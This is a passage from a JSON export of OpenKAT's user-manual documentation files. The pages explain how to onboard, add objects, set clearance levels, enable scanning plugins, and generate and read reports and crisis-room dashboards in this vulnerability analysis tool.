scheduled report.\nA live set can be useful for reports that will be created in the future and where objects\nfound later by OpenKAT must also be included in the report.\n\n**Example:**\n    If your live set filter (e.g. 'hostnames' with 'L2 clearance' that are 'declared') shows 2 hostnames that match the filter today,\n    the daily scheduled report will run for those 2 hostnames. If you add 3 more hostnames tomorrow (with the same filter criteria),\n    your next scheduled report will contain 5 hostnames. Your live set will update as you go.\n\n.. image:: img/generate-report-02.png\n  :alt: Object selection page\n\n\nChoose report types\n-------------------\nYou can then select the desired report types. More information about all the different report types can be found :doc:`here <../navigation/reports>`.\n\n.. image:: img/generate-report-03.png\n  :alt: Report type selection\n\n\nConfiguration\n-------------\nNext, you can see which plugins are required for the report and which plugins are recommended.\nYou need to enable the required plugins if you want the results in the report to be correct.\nIf you choose not to enable a plugin, the data that the plugin would collect or produce will be left out of the report, which will then be generated based on the available data collected by the enabled plugins.\n\n.. image:: img/generate-report-04.png\n  :alt: Plugin overview\n\n**Important:**\n    OpenKAT is designed to scan all known objects on a regular basis using the enabled plugins and set clearance levels.\n    This means that scans will run automatically. Be patient; plugins may take some time before they have collected all their data.\n    Enabling them just before report generation will likely result in inaccurate reports, as plugins have not finished collecting data.\n\n\nExport setup\n------------\nIn this final step, you can schedule the report and give the report a name. A report can be generated either once or periodically.\n\n.. image:: img/generate-report-05.png\n  :alt: Report schedule\n\nAfter pressing the 'Generate report' button at the bottom of the page, your report is scheduled.\nYou can view the schedule for this report on the Scheduled Reports page.\nIt will be generated in the background by OpenKAT at the start date and time that you have just selected in the final step.\n\nAs soon as the report has been generated, it will be visible on the Reports History page.\n\nMore information\n----------------\nTo read more about the Reports and the report types, go to :doc:`../navigation/reports`.\n"
  },
  {
    "path": "docs/source/user-manual/getting-started/index.rst",
    "content": "Getting started\n===============\n\nGet started with OpenKAT! Here we will quickly explain to you how OpenKAT works and how you can get started.\nWe will explain the onboarding process, how to create (and scan) objects, and how to generate a report.\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Contents\n\n   introduction\n   login-and-registration\n   onboarding\n   start-scanning\n   generate-report\n"
  },
  {
    "path": "docs/source/user-manual/getting-started/introduction.rst",
    "content": "Introduction\n============\n\nLet's get started with OpenKAT! If you want to read more about what OpenKAT is and why it exists, please read :doc:`/about-openkat/index`.\n\n\nGeneral information\n-------------------\n\nOpenKAT is an open source vulnerability analysis tool that can monitor, record, and analyze the status of information systems.\nOpenKAT does this automatically and continuously.\n\nWith OpenKAT, networks can be scanned, including websites, mail servers, and DNS servers.\nThe tool scans for vulnerabilities and analyzes them. Various plugins (which are the most commonly used network tools and scanning software) are used for this purpose.\n\nAll information found by OpenKAT can be converted into clear, accessible reports.\n\n\nThe scanning process\n--------------------\n\nOpenKAT scans, collects, analyzes and reports in an ongoing process:\n\n.. image:: img/openkat-simple-process.png\n  :alt: Simple process of OpenKAT.\n\n\nThe information collected by OpenKAT is stored as objects such as URLs, IP addresses, or hostnames.\n\nAfter objects are stored, activated plugins start scanning the objects.\nThe results are stored as findings, but they can also be stored as objects, which can lead to new scans.\nThis process continues until OpenKAT has scanned every object.\n\nReports can be generated from the objects, providing a clear overview of all the information.\n\nAn example:\n- A user adds a hostname object. OpenKAT will schedule a plugin to do DNS lookups on the hostname.\n- The plugin will return DNS records that point to IP addresses. Those IP addresses are added to OpenKAT. OpenKAT will then schedule port scans on the IP addresses.\n- Any open ports found will be added as new objects which may in turn trigger new scans to search for vulnerable software on these open ports.\n\nHow far OpenKAT goes with its search depends on the clearance levels that are provided. Read more about it here: :doc:`../basic-concepts/scan-levels-and-indemnification`.\n\nSo this is what OpenKAT does behind the scenes, in simple terms.\nIf you want more details about this process, please check the :doc:`../../developer-documentation/basic-principles/index` in the developer documentation.\n\n\nUser flow\n---------\n\nNow let's see how this looks to the user.\n\n- A user of OpenKAT must first add objects, such as a URL, a hostname, or an IP address.\n- Next, the user chooses which plugins will be used for the scans.\n- After the plugins have had some time to gather information, the user can view the findings from the scan.\n- The user can now also generate reports based on these findings. This can be done once or periodically.\n\n\nStarting with OpenKAT\n---------------------\n\nTo start with OpenKAT you have to log in first. If you have trouble logging in, please read :doc:`login-and-registration`.\n\nAfter logging in, you continue to the onboarding. This onboarding will walk you through creating and scanning your first object and report. You can learn more about the onboarding process :doc:`here <onboarding>`.\n\nYou can also skip the onboarding and directly go to :doc:`start-scanning` to create your first object in OpenKAT.\n"
  },
  {
    "path": "docs/source/user-manual/getting-started/login-and-registration.rst",
    "content": "Login & registration\n====================\n\nRegistration\n------------\n\nAs an administrator, you can register new users on the \"Members page\". Read more about this page :doc:`here <../navigation/members>`.\nRegular users should contact their system administrator.\n\n\nLogin\n-----\n\nOnce you have credentials, you can log in with the given username and password.\n\n\nReset password\n--------------\n\nIf you want to change your password, click on the profile menu on the top right and go to \"Profile\".\nThen press \"Reset password\". After entering your email address, a reset link will be sent to this email address.\n\n\nTwo-factor authentication (2FA)\n-------------------------------\n\nAfter you log in, you will see the screen for setting up two-factor authentication. You have to scan the QR code with an authenticator application on your phone. The application on your phone will generate a token that you have to type in as a response. Every time you log in, you have to enter your username, password and 2FA token.\n\n\n.. image:: img/00-onboarding-qr-code.png\n  :alt: Setting up two-factor authentication.\n\nOnce you have successfully setup 2FA you will see the following screen.\n\n.. image:: img/00-onboarding-qr-success.png\n  :alt: Successful setup of two-factor authentication.\n\nAfter this, continue to the onboarding. The onboarding starts with the registration process, which lets you create your very first organization.\n"
  },
  {
    "path": "docs/source/user-manual/getting-started/onboarding.rst",
    "content": "Onboarding\n==========\n\nIf you are using OpenKAT for the first time, you can go through the onboarding flow. The onboarding flow helps you start your first scan. The onboarding flow also introduces the basic concepts of adding an object, setting a clearance level, enabling plugins, starting various scans and creating a report.\n\nThe onboarding consists of the following steps:\n\n1. Welcome\n2. Organization setup\n    - Create/update an organization\n    - Indemnification setup\n    - User clearance level\n3. Add object\n    - Add object\n    - Set object clearance level\n4. Plugins\n    - Plugin introduction\n    - Enabling plugins and start scanning\n5. Generating report\n\n\nStep-by-step onboarding\n-----------------------\n\nCreating an organization (for administrators only)\n**************************************************\nWhen an administrator starts with the onboarding, the first step is the registration process, which lets you create your very first organization. The first page of the onboarding shows the welcome page.\n\n.. image:: img/1-onboarding-welcome.png\n  :alt: Onboarding welcome page.\n\nOn the next page you are asked to enter the name of your organization and a code that is used to identify your organization. If you are unsure what to do here, take a look at the next screenshot.\n\n.. image:: img/2-onboarding-organization-setup.png\n  :alt: Form to ask for the name of your organization.\n\nThe dummy organization for this tutorial is called 'Meow', which is entered in the 'Name' field. The code we came up with that will identify this organization is 'meow'. Usually this is some kind of shorthand to identify your organization.\n\n.. image:: img/3-onboarding-organization-setup-meow.png\n  :alt: Entering dummy organization information.\n\nThe next step is to add the indemnification statement. Before you are allowed to scan, you are legally required to sign a waiver stating that you know what you are doing when scanning websites/hosts and that the person who signed the waiver can be held accountable. Please read the indemnification carefully and click the checkboxes if you agree.\n\n.. image:: img/4-onboarding-indemnification-setup.png\n  :alt: Registration of the indemnification statement.\n\n\nContinue onboarding (for all users)\n***********************************\nThe following page shows some information about user clearance levels. At the bottom of the page, you can see which clearance level is trusted to you by the administrator. You can only continue if you have accepted this clearance level.\n\n.. image:: img/5-onboarding-user-clearance-level.png\n  :alt: Information about the user clearance level.\n\nHere you can add your very first object! You do this by entering the URL for a website that you have permission to scan. The next screenshot will show you an example of what this could look like. Here we add our dummy URL `https://mispo.es`. Feel free to add this URL, as it is part of our testing environment.\n\n.. image:: img/6-onboarding-setup-scan-url.png\n  :alt: Adding your first object with dummy URL.\n\nEach object in OpenKAT has a clearance level, stating how intrusive the scans for the object can be. If you give an object Level 1 clearance, only non-intrusive plugins are allowed to scan it. If you give it Level 4 clearance, all plugins, including the very intrusive ones, will scan this object. Since this is the onboarding, we set the clearance level to Level 1.\n\n.. image:: img/7-onboarding-set-clearance-level.png\n  :alt: Set the clearance level for your URL.\n\nThe plugins in OpenKAT have various scan levels to indicate if they are more or less intrusive for the objects that are scanned. Here you can find two examples of a less intrusive plugin (DNS zone) and a more intrusive plugin (Fierce). This level of intrusiveness is indicated by the number of paws, where more paws is more intrusive.\n\n.. image:: img/8-onboarding-clearance-level-introduction.png\n  :alt: Plugins with different intrusion levels.\n\nBefore we can scan we have to enable plugins. Here you can choose some plugins. By default all three plugins are enabled. They are all non-intrusive plugins that will gather basic DNS data for your added URL.\n\n.. image:: img/8-onboarding-select-plugins.png\n  :alt: Select plugins.\n\nThe final step is generating a report. During the onboarding, we will create a DNS-report.\n\n.. image:: img/9-onboarding-generate-report.png\n  :alt: Generate your DNS Report.\n\nThis is the last page, after which you can start exploring OpenKAT. The Boefjes are currently running to collect data about your URL. Your DNS Report will be generated in 3 minutes, so the Boefjes have some time to complete. In the meantime you can explore OpenKAT. Go back to the Report History page to view your DNS Report after a couple of minutes.\n\n.. image:: img/10-onboarding-boefjes-loading.png\n  :alt: Boefjes are scanning.\n\nAfter three minutes, you can open your DNS Report on the Report History page. Here is your very first DNS report! Congrats.\n\n.. image:: img/11-onboarding-dns-report.png\n  :alt: DNS report\n\nNow get familiar with OpenKAT and explore! If you need any help with navigating around and becoming familiar with OpenKAT, you can always go to the user manual.In the user manual you will find information on all the user interface related items of OpenKAT.\n"
  },
  {
    "path": "docs/source/user-manual/getting-started/start-scanning.rst",
    "content": "Start scanning\n==============\n\nTo get started with OpenKAT, you need to add an object. After adding an object, setting the clearance level and\nenabling plugins, OpenKAT can start scanning this object. This section will show you how to do this, step by step.\n\n\nAdding an object\n----------------\n\nWe start by adding an object, also referred to as 'Object of Interest' (OOI).\n\nNew objects can be created using the 'Add' button on the Objects page. This can be done individually or per CSV.\nThe specification of the CSV is included on the upload page.\n\n\n.. image:: img/add-object-01.png\n  :alt: Add object button\n\nFor now, click on 'Add object' to manually add an object.\n\nOn the next page, you can select the type of object you want to add. Choose the option that suits you.\nFor this demonstration we will add a hostname. Click on \"Add object\" to continue.\n\n.. image:: img/add-object-02.png\n  :alt: Select object type\n\nNow it is time to fill in the details of the object and continue to the next page.\n\n.. image:: img/add-object-03.png\n  :alt: Add details about the hostname\n\nAfter clicking 'Add Hostname', the object will be saved and should appear on the object's detail page.\nYou can also find the object in the overview table on the Objects page.\n\nSee :doc:`../basic-concepts/objects-and-recursion` for more detailed information about the way objects work.\nIf you want to know more about the Objects page and the Object details page, see :doc:`../navigation/objects`.\n\n\nChanging clearance level\n------------------------\n\nThe next step is to change the clearance level of the object.\nThe clearance level of an object tells OpenKAT how far it can go in scanning the object.\nMore information about the different clearance levels can be found :doc:`here <../basic-concepts/scan-levels-and-indemnification>`.\n\nThere are two ways to change the clearance level:\n\n1. Via the tab 'Clearance level' on the detail page (only for changing one object at a time)\n2. Via the overview table on the Objects page (for changing one or multiple objects at once)\n\n\nClearance level tab\n*******************\nClick on the tab and then click on the 'Edit clearance level' button on the right.\n\n\n**Important:**\n  If you cannot see this button, you might not have the right to do so. Please contact your administrator.\n\nAlso, if there are any warnings on this page, please follow the instructions of the warnings first.\nYou might need to set an indemnification for your organization or accept your assigned clearance level.\n\n.. image:: img/add-object-04.png\n  :alt: Clearance level tab\n\nClicking on the button will open a pop-up.\nHere you can choose the clearance level for your object.\n\n.. image:: img/add-object-05.png\n  :alt: Po-pup to select clearance level\n\nAfter continuing, the clearance level of your object has been set to the new clearance level.\nThis means that OpenKAT can now scan the object. Continue to the next step to enable plugins.\n\n\nObjects page\n************\nGo to the Objects page and select the object(s) of which you want to change the clearance level.\nIf there are a lot of objects in the overview, you can use the filter to find the object(s).\n\nAfter selecting the object(s), click on the 'Edit clearance level' button on the top right.\n\n**Important:**\n  If you cannot see this button, you might not have the right to do so. Please contact your administrator.\n\n.. image:: img/add-object-06.png\n  :alt: Object page\n\nClicking on the button will open a pop-up.\nHere you can choose the clearance level for your object.\n\n.. image:: img/add-object-07.png\n  :alt: Pop-up to select clearance level\n\nAfter continuing, the clearance level of your object has been set to the new clearance level.\nThis means that OpenKAT can now scan the object. Continue to the next step to enable plugins.\n\n\nEnable plugins\n--------------\n\nOpenKAT is almost ready to scan your object. There is just one more thing you have to do: you have to enable all the plugins you want OpenKAT to use on your objects.\n\nGo to the KAT-alogus. Here you find all the plug-ins (also called Boefjes) that are available for scanning your object.\n\n.. image:: img/katalogus.png\n  :alt: KAT-alogus page\n\nAs you can see, every plugin has its own scan level. This is the minimum level objects must have to be scanned with this plugin.\nYou can enable and disable the plugins of your choice and OpenKAT will use it to scan your objects.\nOpenKAT always checks that the plugins do not exceed the clearance level of the objects.\n\nFinally\n-------\nThat is it! OpenKAT will now create tasks to scan your object(s).\nOn the Tasks page, you can see which tasks have been created.\nIt might take a while for all tasks to be completed.\n\n.. image:: img/tasks.png\n  :alt: Tasks page\n\nWhen the tasks are completed, the results will be shown on the Findings page.\nThere you can find an overview of all findings that have been collected from the scans.\nFor each finding, you can see the details and the possible recommendations.\nNot every task results in a finding, but almost every task results in new objects.\n\nThe findings can be summarized into a report. If you want to create a report, please check :doc:`generate-report`.\n"
  },
  {
    "path": "docs/source/user-manual/glossary.rst",
    "content": "Glossary\n========\n\nBecoming familiar with new tools can be daunting.\nIn this glossary you will find the most commonly used terms in OpenKAT with it's definition.\nWe hope this helps to make your life easier.\n\n\n.. list-table:: Glossary\n   :widths: 15 85\n   :header-rows: 1\n\n   * - Term\n     - Definition\n   * - Object/OOI\n     - The information collected by OpenKAT is stored as objects.\n       Objects can be anything, like DNS records, hostnames, URLs, IP addresses, software, software versions, ports, etc.\n   * - Object type\n     - The type of object, for example IP address, URL, website.\n   * - Finding\n     - A vulnerability or misconfiguration that has been found by OpenKAT.\n   * - Finding type\n     - Findings found by OpenKAT are categorized by finding types.\n   * - Plugin\n     - Deployed by OpenKAT to collect information, translate it into objects for the data model and then analyze it.\n   * - Boefje\n     - A type of plugin, which gathers facts from the objects.\n   * - Task\n     - A task is created for each job that needs to be performed, such as running a plugin or for generating a report.\n       Not every task results in findings or new objects.\n   * - Clearance type\n     - The clearance type tells how the object was added to the Objects list.\n       **Declared** objects were added by the user.\n       **Inherited** objects were identified through propagation and the parsing of bits and normalizers. This means there is a relation to other object(s).\n       **Empty** objects do not have a relation to other objects.\n   * - Clearance level\n     - The clearance level of an object tells OpenKAT how far it can go in scanning the object.\n   * - Scan level\n     - The scan level of a plugin tells you how deeply this plugin can scan your object. OpenKAT always checks that the plugins do not exceed the clearance level of the objects.\n   * - Separate report\n     - Reports that are created for separate assets. This function might be turned off by default by your administrator.\n   * - Aggregate report\n     - Report that aggregates findings from different assets into one report.\n   * - Multi report\n     - This report combines aggregate reports from different organizations into one report.\n"
  },
  {
    "path": "docs/source/user-manual/index.rst",
    "content": "User manual\n###########\n\nWelcome to the user manual of OpenKAT! In this user manual, all information about the use of OpenKAT in the user interface can be found.\nTechnical information has been left out, and can be found in de :doc:`../developer-documentation/index`.\n\nThe user manual is divided into four parts:\n\n- **Getting started**: Do you want to get started with OpenKAT? Start here! Learn step-by-step how to begin scanning and generating reports with OpenKAT.\n- **Basic concepts**: Learn more about the basic concepts of OpenKAT (in simple terms).\n- **Navigation**: See how you can navigate through OpenKAT. All pages of the user interface are explained here.\n- **Glossary**: A summary with the most used terms and their definitions.\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Contents\n\n   getting-started/index\n   basic-concepts/index\n   navigation/index\n   glossary\n"
  },
  {
    "path": "docs/source/user-manual/navigation/crisis-room.rst",
    "content": "Crisis Room\n===========\n\nIn OpenKAT we differentiate two Crisis Rooms:\n\n- **Single Organization Crisis Room:** a Crisis Room for each organization separately\n- **General Crisis Room:** one general Crisis Room for all the organizations\n\n\nSingle Organization Crisis Room\n-------------------------------\nThis page shows a Crisis Room for each organization separately.\nHere, a user can create its own dashboards.\n\nFindings Dashboard\n******************\nThere is always one default dashboard, the 'Findings Dashboard', where you can see the most important findings at a glance.\nThis section shows an overview table with the amount of findings that have been identified for the selected organization.\n\nAlso, the top 25 critical and high findings that have been identified for this organization are shown in a table here, grouped by finding types.\n\n.. image:: img/crisis-room-findings-dashboard.png\n  :alt: Findings Dashboard on the Crisis Room\n\nCustom Dashboards\n*****************\nIt is also possible to create a custom dashboard. Creating your own dashboard provides an overview that fully meets the needs of your organization.\n\n.. image:: img/crisis-room-organization.png\n  :alt: Crisis Room for single organization\n\nBy clicking on the 'Add Dashboard' button, a new dashboard will be created.\nAfter adding the dashboard, you can add items to it. Each dashboard can contain a maximum of 16 dashboard items.\n\nThere are three types of dashboard items which you can add:\n\n- **Object list:** a copy of the objects list, with applied filters (can be added from the Objects page)\n- **Finding list:** a copy of the findings list, with applied filters (can be added from the Findings page)\n- **Report section:** a copy of a specific chapter of a report (can be added from within a report)\n\nThe dashboard items can be moved up/downwards and can be deleted.\n\nAdding A New Dashboard Item\n***************************\n\nObjects/Findings list\n^^^^^^^^^^^^^^^^^^^^^\nTo add a new objects or findings dashboard item to a dashboard:\n\n- Go to the Objects or Findings page\n- Filter the table as you prefer (the same filters will be applied to the table in the dashboard item)\n- Click on the 'Add to dashboard' button, this opens a pop-up\n- Choose the settings as you prefer\n- Click on the 'Add to dashboard' button\n\nThe following settings can be configured:\n\n- **Dashboard:** Select the dashboard to which you want to add the dashboard item.\n- **Title on dashboard:** Give the dashboard item a name.\n- **List sorting by:** This is how the table in the dashboard item will be sorted.\n- **Number of rows in list:** Choose how many objects/findings you wish to show in the dashboard item.\n- **Dashboard item size:** A dashboard item can be full or half width. Two half width items will be displayed next to each other.\n- **Show table columns:** Select at least one column you want to show in the dashboard item.\n\nReport section\n^^^^^^^^^^^^^^\nTo add a report section:\n\n- Go to the Reports History page\n- Open the report of your choice\n- Go to the section that you want to add\n- Click on the options button (three dots) next to the section name\n- Click on 'Add section to dashboard'\n\nThe following settings can be configured:\n\n- **Dashboard:** Select the dashboard to which you want to add the dashboard item.\n- **Title on dashboard:** Give the dashboard item a name.\n- **Dashboard item size:** A dashboard item can be full or half width. Two half width items will be displayed next to each other.\n\n\nPermissions\n***********\nThere are several permissions for the crisis room.\nAll users have the permission to:\n\n- View dashboards and dashboard items\n- Change the position of dashboard items\n\nAdditionally, admins and redteamers have permission to:\n\n- Create new dashboards\n- Add new items to a dashboard\n- Change dashboards\n- Change dashboard items\n- Delete dashboards\n- Delete dashboard items\n\n\nGeneral Crisis Room\n-------------------\nThis page shows the Crisis Room for all organizations.\nCurrently, this Crisis Room only shows the Findings, but in the future it will also show dashboards,\nwhich can be customized by the user.\n\n\nFindings\n********\nThis section shows all the findings that have been identified for all organizations.\nThese findings are shown in a table, grouped by organization and finding types.\n\n.. image:: img/crisis-room-all-organizations.png\n  :alt: Crisis Room for single organization\n\nThe findings shown in this general Crisis Room have been collected by the 'Crisis Room Aggregate Report'.\nThis report is based on a recipe, which has been automatically created by OpenKAT for each organization.\nThe output of this report for each organization is shown in this general Crisis Room.\n\nThe default settings for this report recipe are:\n\n- report_name_format = ``Crisis Room Aggregate Report``\n- ooi_types =  ``[\"IPAddressV6\", \"Hostname\", \"IPAddressV4\", \"URL\"]``\n- scan_level = ``[1, 2, 3, 4]``\n- scan_type = ``[\"declared\"]``\n- report_types = ``[\"systems-report\", \"findings-report\"]``\n- cron_expression = ``0 * * * *`` (every hour)\n\nIt is possible to update the report recipe*. To do this:\n\n- Go to \"Reports\"- Click on the tab \"Scheduled\"\n- Look for the \"Crisis Room Aggregate Report\"\n- Open the row\n- Click on \"Edit report recipe\"\n\n*\\*Note: if you want to update the report recipe, you have to do this for every organization.*\n"
  },
  {
    "path": "docs/source/user-manual/navigation/findings.rst",
    "content": "Findings\n========\n\nThe findings page gives an overview of all findings found by OpenKAT.\nThe filter section can be used to apply various filters to show specific findings (e.g. critical findings only) and/or hosts.\nThe search bar can be used to search for specific findings or hosts. Clicking on a finding shows more information on this finding.\nEach finding can be viewed in the tree or graph by clicking the corresponding icons behind the finding.\n\nA finding is also an object in the data model. This simply means that the finding can also be found on the Objects page.\n\n.. image:: img/findings.png\n  :alt: Findings\n\nMuted findings\n--------------\nFindings can be muted until a specific date. This will prevent the finding(s) from showing up in the default view.\nUsing the filters you can show all muted findings, or both muted and non-muted findings.\n\nOne or more findings can be selected. The textbox at the bottom allows for a description\nas to why this finding is muted (e.g. for audit purposes, or for review at a later point in time).\nBelow the textbox the expiry date for the selected findings can be provided.\nClick the button 'Mute Findings' to mute the selected findings.\n\n.. image:: img/findings-muted.png\n  :alt: Mute findings\n"
  },
  {
    "path": "docs/source/user-manual/navigation/index.rst",
    "content": "Navigation\n==========\n\nSee how you can navigate through OpenKAT. All pages of the user interface are explained here.\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Contents\n\n   overview\n   crisis-room\n   katalogus\n   findings\n   reports\n   objects\n   tasks\n   members\n   settings\n   user-settings\n"
  },
  {
    "path": "docs/source/user-manual/navigation/katalogus.rst",
    "content": "KAT-alogus\n==========\n\nThe KAT-alogus (KAT catalog) is the place where you can see which plugins are available, enabled and/or disabled.\nPlugins can be common security scanning tools, like nmap (checks which ports are open), or specific tools that check for a CVE vulnerability.\nThe KAT-alogus also contains all the Normalizers, which parse the data from the tools.\nEach plugin (Boefje and Normalizer) contains more information on how it works and what is required, including the objects it can search for,\nand which objects are required for the plugin to work.\n\nBefore a plugin can run the following two conditions must be met:\n\n- The Boefje and corresponding Normalizer are enabled. Note: all Normalizers are enabled by default.\n- The clearance level of your object (e.g. hostname or URL) is at least the required scan level of the enabled plugin.\n\nNew Boefjes can be added by an administrator in the web interface.\n\n.. image:: img/katalogus.png\n  :alt: KAT catalog\n\nEach plugin has a details page with information about the tool, the scan level and additional settings that can be given to the plugin.\nIt also gives an overview on the required objects before the plugin can run (\"Consumes\") and which output objects are created (\"Produces\").\nThe details page also gives an overview of all associated tasks and which objects match the clearance level.\n\n.. image:: img/boefjeinfopage.png\n  :alt: Plugin information page\n"
  },
  {
    "path": "docs/source/user-manual/navigation/members.rst",
    "content": "Members\n=======\n\nThe Members page allows for user management and is visible to users who have the rights to do this. When you have sufficient rights you can add new users either manually or through a file upload (CSV). This page also shows the accepted and assigned clearance levels to each user and whether or not the user is active.\n\n.. image:: img/members.png\n  :alt: Members page\n"
  },
  {
    "path": "docs/source/user-manual/navigation/objects.rst",
    "content": "Objects\n=======\n\nObjects overview\n----------------\nThe Objects page lists all the objects in Octopoes. Objects can be anything, like DNS records, hostnames, URLs, software, software versions, ports, etc.\nIt is any piece of information that is found by the normalizers, bits and boefjes. On a new installation you'll see the following objects by default:\n\n.. image:: img/objects-clean-install.png\n  :alt: Overview of default objects\n\nThe table gives an overview on the following items:\n\n- **Object:** this is the piece of data that was identified, such as a port, software version, hostname, etc.\n- **Object type:** this shows how this object is labelled.\n- **Clearance level:** this shows the clearance level of this object. See :doc:`../basic-concepts/scan-levels-and-indemnification` for more information.\n- **Clearance type:** this shows what kind of clearance level is set on the object. See :doc:`../basic-concepts/objects-and-recursion` for more information.\n\nThe objects can be filtered by object type, clearance level and clearance type. The search functionality can also be used to search for specific objects, such as hostnames.\n\nMore information on objects is provided by clicking on the object. This will give an overview page with all information for the specific object. The object details page is further described below.\n\n\nObject details\n--------------\nObject details can be found by clicking on an object on the Objects page. Object details provide data on that specific object and how it relates to other objects. The following detail tabs are available:\n\n- **Overview:** the overview tab gives object details, it's declaration, related objects (objects that are somehow related), tasks that ran on this object, findings that are applicable to this object and a list of boefjes that can scan this object.\n- **Tree:** the tree tab shows how all objects are related to this object. The point of view will be from the specific object. Thus the view for a hostname will be slightly different than the tree view for an IP address. Filters can be applied to the tree view.\n- **Graph:** the graph tab visually shows how the objects are connected using lines. The graph is interactive, meaning you can click on objects in the graph. Filters can be applied to the graph view.\n- **Clearance level:** the clearance level can be changed on the clearance level tab. This tab also shows the clearance type (declared, inherited, empty) and the inheritance tree for the object.\n- **Findings:** the findings tab shows all findings that are linked to this object. Different objects have different findings, meaning that the Findings tab for a hostname is likely different from the findings tab for an IP address.\n\n\n.. image:: img/object-details.png\n  :alt: object detail page\n"
  },
  {
    "path": "docs/source/user-manual/navigation/overview.rst",
    "content": "Overview of pages\n=================\n\nThis manual covers the day-to-day use of OpenKAT in the user interface. If you are looking for how to navigate around in OpenKAT, you are at the right place.\n\nThe user interface of OpenKAT consists of the following pages (or top tabs), which provide access to various functionality and data:\n\n- **Crisis Room:** The Crisis Room provides an overview of organizations. There are two different Crisis Rooms: one provides access to *all your organizations* and there is a Crisis Room *for each organization.*\n- **Katalogus:** The Katalogus is a catalog which contains all the plugins that can be enabled and disabled within OpenKAT. If you want to scan your objects, you have to enable the right plugins first.\n- **Findings:** The Findings page gives an overview of all your findings.\n- **Reports:** The Reports page allows you to generate, view and schedule various reports.\n- **Objects:** The Objects page contains an overview of all the objects that are added manually, or were identified through the scanning process.\n- **Tasks:** The Tasks page contains an overview of all tasks and their status (e.g. completed and failed). Task data can be viewed for Boefjes, Normalizers and Reports. The raw files (data) from all tasks can be downloaded here.\n- **Members:** The Members page contains an overview of all the users that have access to the selected organization, including their roles, status and clearance level.\n- **Settings:** The Settings page allows you to add tags to the organization, add the scanning indemnification and decide to rerun all bits.\n- **User settings:** Clicking in the top right corner on your account, allows you to access the 'My Organizations', 'Profile' settings page and session logout.\n\nEach of the above-mentioned pages will go into depth on the functionality and working of that page.\n"
  },
  {
    "path": "docs/source/user-manual/navigation/reports.rst",
    "content": "Reports\n=======\n\nOpenKAT displays all findings in the crisis room, the entry point for all current information from the system.\nIn addition, you can create reports where all the found information can be collected.\n\n.. image:: img/report.png\n  :alt: Report\n\n\nKind of reports\n---------------\nWith the Reports functionality you can create reports with a specific focus.\n\nThere are 3 different kinds of reports available:\n\n- **Separate report:** selecting one or more reports will show the contents of each report below each other. This kind of report might be turned off by default by your administrator.\n- **Aggregate report:** selecting one or more reports will show aggregated data for each selected report. This means that some results are aggregated to provide a general overview of the current compliance status of the scanned objects.\n- **Multi report:** allows you to compare one organisation with another based on the organisation tags. This is only possible for aggregate reports. A multi report is very similar to an aggregate report, but shows data across multiple organisations.\n\nAll kinds of reports can be exported as PDF. The Aggregate Report can also be exported as JSON.\n\n\nReport types\n------------\nWhen creating a report, you have to choose one or more report types for your report.\n\nThe table below gives an overview of the 12 reports available.\nIt also describes which object needs to be selected and whether the report is available as a normal and/or as an aggregate report.\n\n.. list-table:: Report overview table\n   :widths: 25 50 25 25 25 25\n   :header-rows: 1\n\n   * - Report type\n     - Description\n     - Input object\n     - Required plugins\n     - Optional plugins\n     - Normal or Aggregate report\n   * - DNS\n     - The DNS report gives an overview of the identified DNS settings for the scanned hostnames.\n     - Hostname\n     - dns-records, dns-sec\n     - dns-zone\n     - Normal\n   * - Findings\n     - Shows all the finding types and their occurrences.\n     - Hostname, IPAddressV4, IPAddressv6, URL\n     -\n     -\n     - Normal\n   * - IPv6\n     - Check whether hostnames point to IPv6 addresses.\n     - Hostname, IPAddressV4, IPAddressV6\n     - dns-records\n     -\n     - Normal + aggregate\n   * - Mail\n     - System specific mail report that focusses on IP addresses and hostnames.\n     - Hostname, IPAddressV4, IPAddressV6\n     - dns-records\n     -\n     - Normal + aggregate\n   * - Name server\n     - Name server report checks name servers on basic security standards.\n     - Hostname, IPAddressV4, IPAddressV6\n     - nmap, dns-records, dns-sec\n     -\n     - Normal + aggregate\n   * - Open ports\n     - Find open ports of IP addresses.\n     - Hostname, IPAddressV4, IPAddressV6\n     - nmap\n     - shodan, nmap-udp, nmap-ports, nmap-ip-range, masscan\n     - Normal + aggregate\n   * - RPKI\n     - Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows the IP addresses and whether they are covered by a valid RPKI ROA.\n     - Hostname, IPAddressV4, IPAddressV6\n     - dns-records, rpki\n     -\n     - Normal + aggregate\n   * - Safe connections\n     - Shows whether the IPService contains safe ciphers.\n     - Hostname, IPAddressV4, IPAddressV6\n     - dns-records, testssl-sh-ciphers, nmap\n     -\n     - Normal + aggregate\n   * - System\n     - Combine IP addresses, hostnames and services into systems.\n     - Hostname, IPAddressV4, IPAddressV6\n     - dns-records, nmap\n     - nmap-udp\n     - Normal + aggregate\n   * - TLS\n     - TLS reports assess the security of data encryption and transmission protocols.\n     - **IPService**\n     - testssl-sh-ciphers\n     -\n     - Normal\n   * - Vulnerability\n     - Vulnerabilities found are grouped for each system.\n     - Hostname, IPAddressV4, IPAddressV6\n     - dns-records, nmap, webpage-analysis\n     - nmap-udp, nmap-ports, shodan\n     - Normal + aggregate\n   * - Web system\n     - Web system reports check web systems on basic security standards.\n     - Hostname, IPAddressV4, IPAddressV6\n     - nmap, dns-records, security_txt_downloader, testssl-sh-ciphers, ssl-version, ssl-certificates,webpage-analysis\n     -\n     - Normal + aggregate\n\n\nReport contents\n---------------\nThe table below gives an overview of the elements that can be found in each report type based on the required plugins:\n\n.. list-table:: Report overview\n   :widths: 25 50 25 25\n   :header-rows: 1\n\n   * - Report type\n     - Normal report\n     - Aggregate report\n     - Multi report\n   * - Standard elements\n     - * Introduction\n       * Asset overview (selected objects, reports, plugins)\n     - * Summary overview\n       * Recommendations\n       * Asset overview\n       * Open ports overview\n       * IPv6 overview\n       * Basic Security overview table (groups the systems based on types and (compliance) checks to get a general impression of the current status.)\n       * Vulnerabilities\n       * Appendices (Terms, selected objects, reports, plugins and used config objects)\n     - * Introduction\n       * Summary\n       * Recommendations\n       * Asset overview\n       * Open port occurrences\n       * IPv6 connectivity overview\n       * Basic Security overview table (groups the systems based on types and (compliance) checks to get a general impression of the current status.)\n       * Safe connections overview\n       * System specific overview\n       * RPKI overview\n       * Appendices (Terms, selected objects, reports, plugins and used config objects)\n   * - DNS\n     - The table gives an overview of all identified DNS records for the selected hostname. This can help to identify potential misconfigurations for hostnames. The Security Measures table shows which DNS security measures are applied and/or missing.\n     - The report shows per system type how many of the identified IPs/systems are compliant with the DNS checks. If 